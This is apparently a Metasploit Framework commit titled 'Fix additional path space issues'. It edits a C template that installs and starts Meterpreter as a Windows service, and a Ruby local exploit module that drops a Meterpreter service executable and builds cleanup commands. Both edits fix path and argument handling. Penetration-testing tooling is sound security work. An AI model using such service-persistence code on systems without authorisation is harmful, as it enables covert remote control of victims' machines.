Fix additional path space issues

GSoC/Meterpreter_Web_Console
Jacob Robles 2018-12-17 07:00:23 -06:00
parent 0aa6e5a640
commit 88b7b7df4a
No known key found for this signature in database
GPG Key ID: 3EC9F18F2B12401C
2 changed files with 4 additions and 4 deletions

View File

@ -279,16 +279,16 @@ int main()
argc++;
}
if (argc == 2) {
if (argc > 1) {
if (strcmp(argv[1], <%= @install_cmd.inspect %>) == 0) {
if (strcmp(argv[argc-1], <%= @install_cmd.inspect %>) == 0) {
// Installs and starts the service
install_service();
return 0;
}
else if (strcmp(argv[1], <%= @start_cmd.inspect %>) == 0) {
else if (strcmp(argv[argc-1], <%= @start_cmd.inspect %>) == 0) {
// Starts the Meterpreter as a service
start_service();

View File

@ -126,7 +126,7 @@ class MetasploitModule < Msf::Exploit::Local
print_good("Meterpreter service exe written to #{temprexe}")
@clean_up_rc << "execute -H -i -f taskkill.exe -a \"/f /im #{rexename}\"\n" # Use interact to wait until the task ended.
@clean_up_rc << "rm #{temprexe.gsub("\\", "\\\\\\\\")}\n"
@clean_up_rc << "rm \"#{temprexe.gsub("\\", "\\\\\\\\")}\"\n"
temprexe
end